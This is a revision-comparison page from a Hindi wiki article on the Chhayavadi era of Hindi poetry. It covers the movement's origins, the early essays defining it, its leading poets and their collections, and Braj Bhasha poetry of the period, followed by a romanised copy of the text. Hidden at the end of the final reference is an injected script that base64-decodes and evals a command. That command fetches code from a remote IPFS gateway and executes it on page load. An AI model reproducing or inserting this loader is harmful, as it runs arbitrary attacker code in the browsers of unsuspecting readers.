Difference between revisions of "छायावादी युग"

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'''छायावादी युग''' ([[1918]]-[[1937]]) प्राय: '[[द्विवेदी युग]]' के बाद के समय को कहा जाता है। 'द्विवेदी युग' की प्रतिक्रिया का परिणाम ही 'छायावाद' है। इस युग में [[हिन्दी साहित्य]] में गद्य गीतों, भाव तरलता, रहस्यात्मक और मर्मस्पर्शी कल्पना, राष्ट्रीयता और स्वतंत्र चिन्तन आदि का समावेश होता चला गया। सन [[1916]] ई. के आस-पास [[हिन्दी]] में कल्पनापूर्ण, स्वच्छंद और भावुकता की एक लहर उमड़ पड़ी। [[भाषा]], भाव, शैली, [[छंद]], [[अलंकार]] इन सब दृष्टियों से पुरानी [[कविता]] से इसका कोई मेल नहीं था। आलोचकों ने इसे 'छायावाद' या 'छायावादी कविता' का नाम दिया।
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'''छायावादी युग''' ([[1920]]-[[1936]]) प्राय: '[[द्विवेदी युग]]' के बाद के समय को कहा जाता है। बीसवीं सदी का पूर्वार्द्ध छायावादी कवियों का उत्थान काल था। इस युग को [[जयशंकर प्रसाद]], [[महादेवी वर्मा]], [[सूर्यकांत त्रिपाठी 'निराला']] और [[सुमित्रानंदन पंत]] जैसे छायावादी प्रकृति उपासक-सौन्दर्य पूजक कवियों का युग कहा जाता है। 'द्विवेदी युग' की प्रतिक्रिया का परिणाम ही 'छायावादी युग' है। इस युग में [[हिन्दी साहित्य]] में गद्य गीतों, भाव तरलता, रहस्यात्मक और मर्मस्पर्शी कल्पना, राष्ट्रीयता और स्वतंत्र चिन्तन आदि का समावेश होता चला गया। इस समय की हिन्दी कविता के अंतरंग और बहिरंग में एकदम परिवर्तन हो गया। वस्तु निरूपण के स्थान पर अनुभूति निरूपण को प्रधानता प्राप्त हुई थी। प्रकृति का प्राणमय प्रदेश [[कविता]] में आया। जयशंकर प्रसाद, सूर्यकांत त्रिपाठी 'निराला', सुमित्रानन्दन पंत और महादेवी वर्मा 'छायावादी युग' के चार प्रमुख स्तंभ माने जाते हैं।
 
{{tocright}}
 
{{tocright}}
==प्रारम्भ==
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==मुख्य कवि और उनकी रचनाएँ==
'छायावाद' का प्रारम्भ सामान्यतः 1918 ई. के आसपास से माना जाता है। तत्कालीन पत्र-पत्रिकाओं से पता चलता है कि [[1920]] तक छायावाद संज्ञा का प्रचलन हो चुका था। मुकुटधर पांडेय ने 1920 की [[जुलाई]], [[सितंबर]], [[नवंबर]] और [[दिसंबर]] की 'श्रीशारदा' ([[जबलपुर]]) में 'हिन्दी में छायावाद' नामक शीर्षक से चार निबंधों की एक लेखमाला छपवाई थी। जब तक किसी प्राचीनतर सामग्री का पता नहीं चलता, इसी को छायावाद-संबंधी सर्वप्रथम [[निबंध]] कहा जा सकता है। हिन्दी में उसका नितांत अभाव देखकर मुकुटधर जी ने इधर-उधर की कुछ टीका-टिप्पणियों के सहारे वह निबंध प्रस्तुत किया था। इससे स्पष्ट है कि उस निबंध से पहले भी छायावाद पर कुछ टीका-टिप्पणियाँ हो चुकी थीं। लेखमाला का प्रथम निबंध 'कवि स्वातंत्र्य' में मुकुटधर जी ने रीति-ग्रंथों की परतंत्रता से मुक्त होकर कविता में व्यक्तिव तथा भाव भाषा छंद प्रकाशन-रीति आदि में मौलिकता की आवश्यकता पर जोर दिया है। दूसरा निबंध 'छायावाद क्या है?' सबसे महत्त्वपूर्ण है। आरंभ में ही लेखक कहता है- "[[अंग्रेज़ी]] या किसी पाश्चात्य साहित्य अथवा बंग साहित्य की वर्तमान स्थिति की कुछ भी जानकारी रखने वाले तो सुनते ही समझ जाएँगे कि यह शब्द मिस्टिसिज्म’ के लिए आया है फिर भी छायावाद एक ऐसी मायामय सूक्ष्म वस्तु है कि शब्दों द्वारा इसका ठीक-ठीक वर्णन करना असंभव है, क्योंकि ऐसी रचनाओं में शब्द अपने स्वाभाविक मूल्य को खोकर सांकेतिक चिह्न मात्र हुआ करते हैं।"<ref name="aa">{{cite web |url=http://pustak.org/bs/home.php?bookid=3170|title=छायावाद|accessmonthday=01 अक्टूबर|accessyear=2013 |last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref>
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[[जयशंकर प्रसाद]], [[सूर्यकांत त्रिपाठी 'निराला']], [[सुमित्रानंदन पंत]] और महादेवी वर्मा इस युग के चार प्रमुख स्तंभ कहे जाते हैं। 'छायावाद' का केवल पहला अर्थात् मूल अर्थ लेकर तो हिन्दी काव्य क्षेत्र में चलने वाली [[महादेवी वर्मा]] ही हैं। [[रामकुमार वर्मा]], [[माखनलाल चतुर्वेदी]], [[हरिवंशराय बच्चन]] और [[रामधारी सिंह दिनकर]] को भी 'छायावाद' ने प्रभावित किया। किंतु रामकुमार वर्मा आगे चलकर नाटककार के रूप में प्रसिद्ध हुए, माखनलाल चतुर्वेदी राष्ट्रवादी धारा की ओर रहे, बच्चन ने प्रेम के राग को मुखर किया और दिनकर जी ने विद्रोह की आग को आवाज़ दी। अन्य कवियों में हरिकृष्ण 'प्रेमी', [[जानकी वल्लभ शास्त्री]], [[भगवतीचरण वर्मा]], उदयशंकर भट्ट, नरेन्द्र शर्मा, रामेश्वर शुक्ल 'अंचल' के नाम भी उल्लेखनीय हैं। इनकी रचनाएँ निम्नानुसार हैं-
=='छायावाद' शब्द का प्रयोग==
+
;जयशंकर प्रसाद (1889-1936 ई.) के काव्य संग्रह-
'छायावाद' शब्द का प्रयोग दो अर्थों में समझना चाहिए-
+
'[[चित्राधार -जयशंकर प्रसाद|चित्राधार]]' ([[ब्रज भाषा]] में रचित कविताएँ), '[[कानन कुसुम|कानन-कुसुम]]', 'महाराणा का महत्त्व', 'करुणालय', 'झरना', '[[आँसू -जयशंकर प्रसाद|आंसू]]', 'लहर' और '[[कामायनी -प्रसाद|कामायनी]]'।
*एक तो रहस्यवाद के अर्थ में, जहाँ उसका संबंध काव्यवस्तु से होता है अर्थात् जहाँ [[कवि]] उस अनंत और अज्ञात प्रियतम को आलंबन बनाकर अत्यंत चित्रमयी भाषा में प्रेम की अनेक प्रकार से व्यंजना करता है। रहस्यवाद के अंतर्भूत रचनाएँ पहुँचे हुए पुराने संतों या साधकों की उसी वाणी के अनुकरण पर होती हैं, जो तुरीयावस्था या समाधि दशा में नाना रूपकों के रूप में उपलब्ध आध्यात्मिक ज्ञान का आभास देती हुई मानी जाती थी। इस रूपात्मक आभास को [[यूरोप]] में 'छाया'<ref>फैंटसमाटा</ref> कहते थे। इसी से [[बंगाल]] में '[[ब्रह्मसमाज]]' के बीच उक्त वाणी के अनुकरण पर जो आध्यात्मिक गीत या भजन बनते थे, वे 'छायावाद' कहलाने लगे। धीरे-धीरे यह शब्द धार्मिक क्षेत्र से वहाँ के [[साहित्य]] क्षेत्र में आया और फिर रवींद्र बाबू की धूम मचने पर [[हिन्दी]] के साहित्य क्षेत्र में भी प्रकट हुआ।
+
;सुमित्रानंदन पंत (1900-1977ई.) के काव्य संग्रह-
*'छायावाद' शब्द का दूसरा प्रयोग काव्य शैली या पद्ध तिविशेष के व्यापक अर्थ में है। सन [[1885]] में [[फ़्राँस]] में रहस्यवादी कवियों का एक दल खड़ा हुआ, जो प्रतीकवाद कहलाया। वे अपनी रचनाओं में प्रस्तुतों के स्थान पर अधिकतर अप्रस्तुत प्रतीकों को लेकर चलते थे। इसी से उनकी शैली की ओर लक्ष्य करके 'प्रतीकवाद' शब्द का व्यवहार होने लगा। आध्यात्मिक या ईश्वर प्रेम संबंधी कविताओं के अतिरिक्त और सब प्रकार की कविताओं के लिए भी प्रतीक शैली की ओर वहाँ प्रवृत्ति रही। हिन्दी में 'छायावाद' शब्द का जो व्यापक अर्थ में, रहस्यवादी रचनाओं के अतिरिक्त और प्रकार की रचनाओं के संबंध में भी, ग्रहण हुआ, वह इसी प्रतीक शैली के अर्थ में। छायावाद का सामान्यत: अर्थ हुआ "प्रस्तुत के स्थान पर उसकी व्यंजना करने वाली छाया के रूप में अप्रस्तुत का कथन"। इस शैली के भीतर किसी वस्तु या विषय का वर्णन किया जा सकता है।<ref>{{cite web |url=http://www.hindisamay.com/Alochana/shukl%20granthavali5/itihas%20shukl14a.htm|title=छायावाद|accessmonthday=01 अक्टूबर|accessyear=2013 |last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref>
+
'[[वीणा -सुमित्रनन्दन पंत|वीणा]]', '[[ग्रंथि -सुमित्रनन्दन पंत|ग्रंथि]]', '[[पल्लव -सुमित्रनन्दन पंत|पल्लव]]', '[[गुंजन -सुमित्रनन्दन पंत|गुंजन]]', '[[युगांत -सुमित्रनन्दन पंत|युगांत]]', '[[युगवाणी -सुमित्रनन्दन पंत|युगवाणी]]', '[[ग्राम्या -सुमित्रनन्दन पंत|ग्राम्या]]', 'स्वर्ण-किरण', 'स्वर्ण-धूलि', 'युगान्तर', '[[उत्तरा -सुमित्रनन्दन पंत|उत्तरा]]', 'रजत-शिखर', 'शिल्पी', 'प्रतिमा', 'सौवर्ण', 'वाणी', '[[चिदंबरा -सुमित्रानन्दन पंत|चिदंबरा]]', 'रश्मिबंध', '[[कला और बूढ़ा चाँद -सुमित्रानन्दन पंत|कला और बूढ़ा चाँद]]', 'अभिषेकित', 'हरीश सुरी सुनहरी टेर', '[[लोकायतन -सुमित्रनन्दन पंत|लोकायतन]]', 'किरण वीणा'।
==कविता==
+
;सूर्यकांत त्रिपाठी 'निराला' (1898-1961 ई.) के काव्य-संग्रह-
आधुनिक हिन्दी कविता की सर्वश्रेष्ठ उपलब्धि छायावादी काल की कविता में मिलती है। लाक्षणिकता, चित्रमयता, नूतन प्रतीक विधान, व्यंग्यात्मकता, मधुरता तथा सरसता आदि गुणों के कारण छायावादी कविता ने धीरे-धीरे अपना एक प्रशंसक वर्ग खड़ा कर दिया। मुकुटधर पांडेय ने सर्वप्रथम 'छायावाद' शब्द का प्रयोग किया था। शब्द चयन और कोमलकांत पदावली के कारण 'इतिवृत्तात्मक'<ref>[[महाकाव्य]] और प्रबंध काव्य, जिनमें किसी कथा का वर्णन होता है।</ref> युग की खुरदरी [[खड़ी बोली]] सौंदर्य, प्रेम और वेदना के गहन भावों को वहन करने योग्य बनी। हिन्दी कविता के अंतरंग और बहिरंग में एकदम परिवर्तन हो गया। वस्तु निरूपण के स्थान पर अनुभूति निरूपण को प्रमुखता मिली। प्रकृति का प्राणमय प्रदेश कविता में आया। 'द्विवेदी युग' में राष्ट्रीयता के प्रबल स्वर में प्रेम और सौन्दर्य की कोमल भावनाएँ दब-सी गयी थीं। इन सरस कोमल मनोवृतियों को व्यक्त करने के लिए कवि-हृदय विद्रोह कर उठा। [[हृदय]] की अनुभूतियों तथा दार्शनिक विचारों की मार्मिक अभिव्यक्ति के परिणामस्वरूप ही 'छायावाद' का जन्म हुआ। छायावाद काव्यधारा ने हिंदी को शुष्क प्रचार से बचाया। हिंदी की खड़ी बोली की कविता को सौन्दर्य और सरसता प्रदान की। छायावाद ने [[हिन्दी]] को [[जयशंकर प्रसाद]], [[सुमित्रानन्दन पन्त]] और [[सूर्यकांत त्रिपाठी 'निराला']] जैसे महाकवि दिए। '[[पल्लव -सुमित्रानन्दन पंत|पल्लव]]', '[[कामायनी -प्रसाद|कामायनी]]' और 'राम की शक्तिपूजा' छायावाद की महान उपलब्धि हैं।<ref>{{cite web |url=http://saahityaalochan.blogspot.in/2010/04/blog-post.html|title=छायावाद- राष्ट्रवाद का सांस्कृतिक और भावनात्मक दौर|accessmonthday=01 अक्टूबर|accessyear=2013 |last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref>
+
'अनामिका', '[[परिमल -सूर्यकान्त त्रिपाठी 'निराला'|परिमल]]', '[[गीतिका -सूर्यकान्त त्रिपाठी 'निराला'|गीतिका]]', '[[तुलसीदास -निराला|तुलसीदास]]', 'आराधना', 'कुकुरमुत्ता', 'अणिमा', 'नए पत्ते', 'बेला', 'अर्चना'
==मुख्य कवि==
+
;महादेवी वर्मा (1907-1988 ई.) की काव्य रचनाएँ-
'छायावाद' का केवल पहला अर्थात मूल अर्थ लेकर तो हिन्दी काव्य क्षेत्र में चलने वाली [[महादेवी वर्मा]] ही हैं। [[जयशंकर प्रसाद]], [[सुमित्रानन्दन पन्त]] और [[सूर्यकांत त्रिपाठी 'निराला']] इत्यादि और सब कवि प्रतीक पद्धति या चित्रभाषा शैली की दृष्टि से ही छायावादी कहलाए। छायावादी युग के प्रमुख साहित्यकार हैं-
+
'[[रश्मि -महादेवी वर्मा|रश्मि]]', 'निहार', '[[नीरजा -महादेवी वर्मा|नीरजा]]', '[[सांध्यगीत -महादेवी वर्मा|सांध्यगीत]]', '[[दीपशिखा -महादेवी वर्मा|दीपशिखा]]', '[[यामा -महादेवी वर्मा|यामा]]'।
#[[रायकृष्ण दास]]
+
;डॉ. रामकुमार वर्मा की काव्य रचनाएँ-
#[[वियोगी हरि]]
+
'अंजलि', 'रूपराशि', 'चितौड़ की चिता', 'चंद्रकिरण', 'अभिशाप', 'निशीथ', 'चित्ररेखा', 'वीर हमीर', 'एकलव्य'।
#[[रघुवीर सहाय|डॉ. रघुवीर सहाय]]
+
;हरिकृष्ण 'प्रेमी' की काव्य रचनाएँ-
#[[माखनलाल चतुर्वेदी]]
+
'आखों में', 'अनंत के पथ पर', 'रूपदर्शन', 'जादूगरनी', 'अग्निगान', 'स्वर्णविहान'।
#[[जयशंकर प्रसाद]]
+
==काव्य की प्रवृत्तियाँ==
#[[महादेवी वर्मा]]
 
#नन्द दुलारे वाजपेयी
 
#[[शिवपूजन सहाय|डॉ. शिवपूजन सहाय]]
 
#[[सूर्यकान्त त्रिपाठी निराला]]
 
#[[रामचन्द्र शुक्ल]]
 
#[[पदुमलाल पुन्नालाल बख्शी]]
 
#[[बाबू गुलाबराय]]
 
  
"छायावाद के [[कवि]] वस्तुओं को असाधारण दृष्टि से देखते हैं। उनकी रचना की संपूर्ण विशेषताएँ उनकी इस ‘दृष्टि’ पर ही अवलंबित रहती हैं।...वह क्षण-भर में बिजली की तरह वस्तु को स्पर्श करती हुई निकल जाती है।...अस्थिरता और क्षीणता के साथ उसमें एक तरह की विचित्र उन्मादकता और अंतरंगता होती है, जिसके कारण वस्तु उसके प्रकृत रूप में नहीं किंतु एक अन्य रूप में दीख पड़ती है। उसके इस अन्य रूप का संबंध कवि के अंतर्जगत से रहता है।...यह अंतरंग दृष्टि ही ‘छायावाद’ की विचित्र प्रकाशन रीति का मूल है।" इस प्रकार मुकुटधर पांडेय की सूक्ष्म दृष्टि ने ‘छायावाद’ की मूल भावना ‘आत्मनिष्ठ अंतर्दृष्टि’ को पहचान लिया था। जब उन्होंने कहा कि "चित्र दृश्य वस्तु की आत्मा का ही उतारा जाता है," तो छायावाद की मौलिक विशेषता की ओर संकेत किया। छायावादी कवियों की कल्पनाप्रियता पर प्रकाश डालते हुए मुकुटधर जी कहते हैं- "उनकी [[कविता]] देवी की आँखें सदैव ऊपर की ही ओर उठी रहती हैं; मर्त्यलोक से उसका बहुत कम संबंध रहता है; वह बुद्धि और ज्ञान की सामर्थ्य-सीमा को अतिक्रम करके मन-प्राण के अतीत लोक में ही विचरण करती रहती है।"<ref name="aa"/> यहीं छायावादिता से आध्यात्मिकता तथा धर्म-भावुकता का मेल होता है, यथार्थ में उसके जीवन के ये दो मुख्य अवलंब हैं।
+
#वैयक्तिकता
====मुकुटधर पांडेय का निबंध====
+
#प्रकृति-सौंदर्य और प्रेम की व्यंजना
'छायावाद' में प्रकृति का उपयोग प्रायः प्रतीक की तरह होता है, इस तथ्य की ओर संकेत करते हुए मुकुटधर जी कहते हैं कि "प्राकृतिक दृश्य और घटनाएँ सांकेतिक रूप में अदृश्य तथा अव्यक्त के प्रकाशन में साहाय्य पहुँचाती हैं।" 'छायावाद' के कलापक्ष पर विचार करते हुए मुकुटधर जी काव्य में चित्रकारी और [[संगीत]] का अपूर्व एकीकरण उसका आदर्श मानते हैं। लेखमाला के शेष दो निबंधों का एक ही शीर्षक है- 'हिंदी में छायावाद'। इनमें छायावाद पर लगाए गए ‘अस्पष्टता’ आदि आरोपों का स्पष्टीकरण करते हुए अंत में मुकुटधर पांडेय ने लिखा है- "छायावाद की आवश्यकता हम इसीलिए समझते हैं कि उससे कवियों को भाव-प्रकाशन का एक नया मार्ग मिलेगा। इस प्रकार के अनेक मार्गों-अनेक रीतियों का होना ही उन्नत साहित्य का लक्षण है।" मुकुटधर पांडेय का [[निबंध]] 'छायावाद' पर पहला निबंध होने के साथ ही अत्यंत सूझ-बूझ भरी गंभीर समीक्षा भी है। इस निबंध का ऐतिहासिक महत्त्व ही नहीं, बल्कि स्थायी महत्त्व भी है।
+
#श्रंगारिकता
==प्रथम उल्लेख==
+
#रहस्यानुभूति
उस युग की प्रतिनिधि पत्रिका '[[सरस्वती (पत्रिका)|सरस्वती]]' में 'छायावाद' का सर्वप्रथम उल्लेख [[जून]] [[1921]] के अंक में मिलता है। किसी सुशील कुमार ने ‘हिंदी में छायावाद’ शीर्षक से एक संवादात्मक निबंध लिखा है। संवाद में भाग लेने वाले कुल चार व्यक्ति हैं- ब्राह्म कन्या विद्यालय में उच्च शिक्षा प्राप्त सुशीला देवी, उनके अरसिक किंतु लक्ष्मी के कृपापात्र पति हरिकिशोर बाबू, चित्रकार रामनरेश जोशी और कवि-सम्राट [[सुमित्रानन्दन पंत]]। पहले केवल प्रथम तीन व्यक्तियों में जोशी जी के एक ‘छाया-चित्र’ पर बातचीत होती है, जिसे उन्होंने पंत जी की एक [[कविता]] के आधार पर बनाया है। चित्र के नाम पर बढ़िया फ्रेम में मढ़ा कोरा [[काग़ज़]] है और उसके नीचे लिखा है ‘छाया’। हरिकिशोर बाबू के अनुसार वह निर्मल ब्रह्मा की विशद छाया है। स्वयं जोशी जी ने भी उसमें किसी प्रकार अनंत की अस्पष्टता को स्पष्ट करने का प्रयत्न किया था। अंत में पंत जी आते हैं और वे भी कविता के नाम पर एक ‘कोरा काग़ज़' प्रस्तुत करते हैं, जिसका आधार जोशी जी का वही चित्र है। हरिकिशोर बाबू के शब्दों में "यह तो वाणी की नीरवता है, निस्तब्धता का उच्छ्वास है, प्रतिभा का विलास है, और अनंत का विलास है।" कवि सम्राट अपने वक्तव्य में कहते हैं- "छायावाद का प्रधान गुण है अस्पष्टता। भाव इतने स्पष्ट हो जाएँ कि वे कल्पना के अनंत गर्भ में लीन हो जाएँ। मेरी यह सम्मति है कि शब्द अक्षरों से बनते हैं और अक्षर, अविनाशी है। वह तो अज्ञेय है, अनंत है। अतएव हमें [[भाषा]] को वह रूप देना चाहिए, जिससे वह नीरव हो जाए। वह कर्णश्रुत न होकर हृदयगम्य हो, इंद्रियगोचर न होकर [[आत्मा]] से ग्राह्य हो।"<ref name="aa"/>
+
#तत्त्व चिंतन
 +
#वेदना और करुणा की विवृत्ति
 +
#मानवतावादी दृष्टिकोण
 +
#नारी के प्रति नवीन दृष्टिकोण
 +
#आदर्शवाद
 +
#स्वच्छंदतावाद
 +
#देश-प्रेम एवं राष्ट्रीय भावना
 +
#प्रतीकात्मकता
 +
#चित्रात्मक भाषा एवं लाक्षणिक पदावली
 +
#गेयता
 +
#अलंकार-विधान
 +
==ब्रज भाषा का काव्य==
 +
'छायावादी युग' में कवियों का एक वर्ग ऐसा भी था, जो [[सूरदास]], [[तुलसीदास]], [[सेनापति कवि|सेनापति]], [[बिहारी लाल|बिहारी]] और [[घनानंद कवि|घनानंद]] जैसी समर्थ प्रतिभा संपन्न काव्य-धारा को जीवित रखने के लिए [[ब्रजभाषा]] में काव्य रचना कर रहे थे। 'भारतेंदु युग' में जहाँ ब्रजभाषा का काव्य प्रचुर मात्रा में लिखा गया, वहीं छायावाद आते-आते ब्रजभाषा में गौण रूप से काव्य रचना लिखी जाती रहीं। इन कवियों का मत था कि ब्रजभाषा में काव्य की लंबी परम्परा ने उसे काव्य के अनुकूल बना दिया है। छायावादी युग में ब्रजभाषा में काव्य रचना करने वाले कवियों में रामनाथ जोतिसी, [[रामचंद्र शुक्ल]], [[राय कृष्णदास]], जगदंबा प्रसाद मिश्र 'हितैषी', दुलारे लाल भार्गव, [[वियोगी हरि]], [[बालकृष्ण शर्मा 'नवीन']], [[अनूप शर्मा]], रामेश्वर 'करुण', [[किशोरीदास वाजपेयी]], उमाशंकर वाजपेयी 'उमेश' प्रमुख हैं।<ref>{{cite web |url=http://hindikaitihaas.blogspot.in/2012/01/blog-post.html|title=छायावादी युग में ब्रजभाषा का काव्य|accessmonthday=04 अक्टूबर|accessyear= 2013|last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref>
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#रामनाथ जोतिसी की रचनाओं में 'रामचंद्रोदय' मुख्य है। इसमें रामकथा को युग के अनुरूप प्रस्तुत किया गया है। इस काव्य पर [[केशव कवि|केशव]] की 'रामचंद्रिका' का प्रभाव लक्षित होता है। विभिन्न छंदों का सफल प्रयोग हुआ है।
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#[[रामचंद्र शुक्ल]], जो मूलत: आलोचक थे, ने 'एडविन आर्नल्ड' के आख्यान काव्य 'लाइट ऑफ़ एशिया' का 'बुद्धचरित' शीर्षक से भावानुवाद किया। शुक्ल जी की [[भाषा]] सरल और व्यावहारिक है।
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#[[राय कृष्णदास]] कृत 'ब्रजरस', जगदम्बा प्रसाद मिश्र 'हितैषी' द्वारा रचित 'कवित्त-सवैये' और दुलारेलाल भार्गव की 'दुलारे-दोहावली' इस काल की प्रमुख व उल्लेखनीय रचनाएँ हैं।
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#वियोगी हरि की 'वीर सतसई' में राष्ट्रीय भावनाओं की श्रेष्ठ अभिव्यक्ति हुई है।
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#बालकृष्ण शर्मा 'नवीन' ने अनेक स्फुट रचनाएँ लिखीं। लेकिन इनका [[ब्रजभाषा]] का वैशिष्टय 'ऊर्म्मिला' [[महाकाव्य]] में लक्षित होता है, जहाँ इन्होंने उर्मिला का उज्ज्वल चरित्र-चित्रण किया है।
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#अनूप शर्मा के चम्पू काव्य 'फेरि-मिलिबो' ([[1938]]) में [[कुरुक्षेत्र]] में [[राधा]] और [[कृष्ण]] के पुनर्मिलन का मार्मिक वर्णन है।
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#रामेश्वर 'करुण' की 'करुण-सतसई' ([[1930]]) में करुणा, अनुभूति की तीव्रता और समस्यामूलक अनेक व्यंग्यों को देखा जा सकता है।
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#किशोरी दास वाजपेयी की 'तरंगिणी' में रचना की दृष्टि से प्राचीनता और नवीनता का सुंदर समन्वय देखा जा सकता है।
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#उमाशंकर वाजपेयी 'उमेश' की रचनाओं में भी भाषा और संवेदना की दृष्टि से नवीनता दिखाई पड़ती है।
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इन रचनाओं में नवीनता और छायावादी काव्य की सूक्ष्मता प्रकट हुई है, यदि इस भाषा का काव्य परिमाण में अधिक होता तो यह काल ब्रजभाषा का छायावाद साबित होता।
  
 
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==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
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Latest revision as of 07:50, 7 November 2017

chhayavadi yug (1920-1936) pray: 'dvivedi yug' ke bad ke samay ko kaha jata hai. bisavian sadi ka poorvarddh chhayavadi kaviyoan ka utthan kal tha. is yug ko jayashankar prasad, mahadevi varma, sooryakaant tripathi 'nirala' aur sumitranandan pant jaise chhayavadi prakriti upasak-saundary poojak kaviyoan ka yug kaha jata hai. 'dvivedi yug' ki pratikriya ka parinam hi 'chhayavadi yug' hai. is yug mean hindi sahity mean gady gitoan, bhav taralata, rahasyatmak aur marmasparshi kalpana, rashtriyata aur svatantr chintan adi ka samavesh hota chala gaya. is samay ki hindi kavita ke aantarang aur bahirang mean ekadam parivartan ho gaya. vastu niroopan ke sthan par anubhooti niroopan ko pradhanata prapt huee thi. prakriti ka pranamay pradesh kavita mean aya. jayashankar prasad, sooryakaant tripathi 'nirala', sumitranandan pant aur mahadevi varma 'chhayavadi yug' ke char pramukh stanbh mane jate haian.

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mukhy kavi aur unaki rachanaean

jayashankar prasad, sooryakaant tripathi 'nirala', sumitranandan pant aur mahadevi varma is yug ke char pramukh stanbh kahe jate haian. 'chhayavad' ka keval pahala arthath mool arth lekar to hindi kavy kshetr mean chalane vali mahadevi varma hi haian. ramakumar varma, makhanalal chaturvedi, harivansharay bachchan aur ramadhari sianh dinakar ko bhi 'chhayavad' ne prabhavit kiya. kiantu ramakumar varma age chalakar natakakar ke roop mean prasiddh hue, makhanalal chaturvedi rashtravadi dhara ki or rahe, bachchan ne prem ke rag ko mukhar kiya aur dinakar ji ne vidroh ki ag ko avaz di. any kaviyoan mean harikrishna 'premi', janaki vallabh shastri, bhagavaticharan varma, udayashankar bhatt, narendr sharma, rameshvar shukl 'aanchal' ke nam bhi ullekhaniy haian. inaki rachanaean nimnanusar haian-

jayashankar prasad (1889-1936 ee.) ke kavy sangrah-

'chitradhar' (braj bhasha mean rachit kavitaean), 'kanan-kusum', 'maharana ka mahattv', 'karunalay', 'jharana', 'aansoo', 'lahar' aur 'kamayani'.

sumitranandan pant (1900-1977ee.) ke kavy sangrah-

'vina', 'granthi', 'pallav', 'guanjan', 'yugaant', 'yugavani', 'gramya', 'svarn-kiran', 'svarn-dhooli', 'yugantar', 'uttara', 'rajat-shikhar', 'shilpi', 'pratima', 'sauvarn', 'vani', 'chidanbara', 'rashmibandh', 'kala aur boodha chaand', 'abhishekit', 'harish suri sunahari ter', 'lokayatan', 'kiran vina'.

sooryakaant tripathi 'nirala' (1898-1961 ee.) ke kavy-sangrah-

'anamika', 'parimal', 'gitika', 'tulasidas', 'aradhana', 'kukuramutta', 'anima', 'ne patte', 'bela', 'archana'.

mahadevi varma (1907-1988 ee.) ki kavy rachanaean-

'rashmi', 'nihar', 'niraja', 'saandhyagit', 'dipashikha', 'yama'.

d aau. ramakumar varma ki kavy rachanaean-

'aanjali', 'rooparashi', 'chitau d ki chita', 'chandrakiran', 'abhishap', 'nishith', 'chitrarekha', 'vir hamir', 'ekalavy'.

harikrishna 'premi' ki kavy rachanaean-

'akhoan mean', 'anant ke path par', 'roopadarshan', 'jadoogarani', 'agnigan', 'svarnavihan'.

kavy ki pravrittiyaan

  1. vaiyaktikata
  2. prakriti-sauandary aur prem ki vyanjana
  3. shrangarikata
  4. rahasyanubhooti
  5. tattv chiantan
  6. vedana aur karuna ki vivritti
  7. manavatavadi drishtikon
  8. nari ke prati navin drishtikon
  9. adarshavad
  10. svachchhandatavad
  11. desh-prem evan rashtriy bhavana
  12. pratikatmakata
  13. chitratmak bhasha evan lakshanik padavali
  14. geyata
  15. alankar-vidhan

braj bhasha ka kavy

'chhayavadi yug' mean kaviyoan ka ek varg aisa bhi tha, jo sooradas, tulasidas, senapati, bihari aur ghananand jaisi samarth pratibha sanpann kavy-dhara ko jivit rakhane ke lie brajabhasha mean kavy rachana kar rahe the. 'bharateandu yug' mean jahaan brajabhasha ka kavy prachur matra mean likha gaya, vahian chhayavad ate-ate brajabhasha mean gaun roop se kavy rachana likhi jati rahian. in kaviyoan ka mat tha ki brajabhasha mean kavy ki lanbi parampara ne use kavy ke anukool bana diya hai. chhayavadi yug mean brajabhasha mean kavy rachana karane vale kaviyoan mean ramanath jotisi, ramachandr shukl, ray krishnadas, jagadanba prasad mishr 'hitaishi', dulare lal bhargav, viyogi hari, balkrishna sharma 'navin', anoop sharma, rameshvar 'karun', kishoridas vajapeyi, umashankar vajapeyi 'umesh' pramukh haian.[1]

  1. ramanath jotisi ki rachanaoan mean 'ramachandroday' mukhy hai. isamean ramakatha ko yug ke anuroop prastut kiya gaya hai. is kavy par keshav ki 'ramachandrika' ka prabhav lakshit hota hai. vibhinn chhandoan ka saphal prayog hua hai.
  2. ramachandr shukl, jo moolat: alochak the, ne 'edavin arnald' ke akhyan kavy 'lait aauf eshiya' ka 'buddhacharit' shirshak se bhavanuvad kiya. shukl ji ki bhasha saral aur vyavaharik hai.
  3. ray krishnadas krit 'brajaras', jagadamba prasad mishr 'hitaishi' dvara rachit 'kavitt-savaiye' aur dularelal bhargav ki 'dulare-dohavali' is kal ki pramukh v ullekhaniy rachanaean haian.
  4. viyogi hari ki 'vir satasee' mean rashtriy bhavanaoan ki shreshth abhivyakti huee hai.
  5. balkrishna sharma 'navin' ne anek sphut rachanaean likhian. lekin inaka brajabhasha ka vaishishtay 'oormmila' mahakavy mean lakshit hota hai, jahaan inhoanne urmila ka ujjval charitr-chitran kiya hai.
  6. anoop sharma ke champoo kavy 'pheri-milibo' (1938) mean kurukshetr mean radha aur krishna ke punarmilan ka marmik varnan hai.
  7. rameshvar 'karun' ki 'karun-satasee' (1930) mean karuna, anubhooti ki tivrata aur samasyamoolak anek vyangyoan ko dekha ja sakata hai.
  8. kishori das vajapeyi ki 'tarangini' mean rachana ki drishti se prachinata aur navinata ka suandar samanvay dekha ja sakata hai.
  9. umashankar vajapeyi 'umesh' ki rachanaoan mean bhi bhasha aur sanvedana ki drishti se navinata dikhaee p dati hai.

in rachanaoan mean navinata aur chhayavadi kavy ki sookshmata prakat huee hai, yadi is bhasha ka kavy pariman mean adhik hota to yah kal brajabhasha ka chhayavad sabit hota.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. chhayavadi yug mean brajabhasha ka kavy (hindi). . abhigaman tithi: 04 aktoobar, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh